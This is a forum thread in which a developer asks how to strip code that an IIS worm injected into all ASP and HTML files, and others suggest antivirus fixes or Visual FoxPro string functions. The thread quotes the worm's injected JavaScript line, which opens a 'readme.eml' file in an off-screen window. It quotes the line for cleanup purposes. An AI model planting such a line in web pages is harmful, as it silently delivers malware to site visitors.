Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations bkrike on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

URGENT : Need Advice From Pros

Status
Not open for further replies.

Creeder

Programmer
Jul 5, 2000
110
MY
Hi all,

I am not sure if this has anything to do with the FoxPro forum, but members of this forum seem to be really helpful.

Well recently there is currently a worm virus that attacks IIS 5.0. This is actually also mention on the IIS forum.
Basically what the worm does is that it writes the following piece of code into all ASP and HTML files.

<html><script language=&quot;JavaScript&quot;>window.open(&quot;readme.eml&quot;, null, &quot;resizable=no,top=6000,left=6000&quot;)</script></html>

Currently I don't think there's a solution to remove this piece of line of code from any anti virus program.

I would need to write a custom program to actually read all ASP and HTML files and remove that piece of code. My question is that should i use foxpro file functions or write the custom program in C++. If in FoxPro can it be done?

Thanks for any advice.

YJ


 
If you can, I would wait, both Symantec and McAffee are working on a solution to this one. Based on prior experience I would expect the fix to be out by the morning. In the meantime we are shutting down our IIS and mail servers.

the link to symantec's page is


If you really want to do it in VFP I would use low level file functions to read the file into a string, search for the problem code, remove it using stuff (probably) and write the data bak.
 
Creeder, if you want to do this in VFP as a learning exercise, use a combination of the following:

FileToStr()
StrTran()
StrToFile()

The first will let you put the entire file into a single memvar.
The second will allow you to replace specific text with '' (an empty string).
The third will write out the changed memvar back to a file. Robert Bradley
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top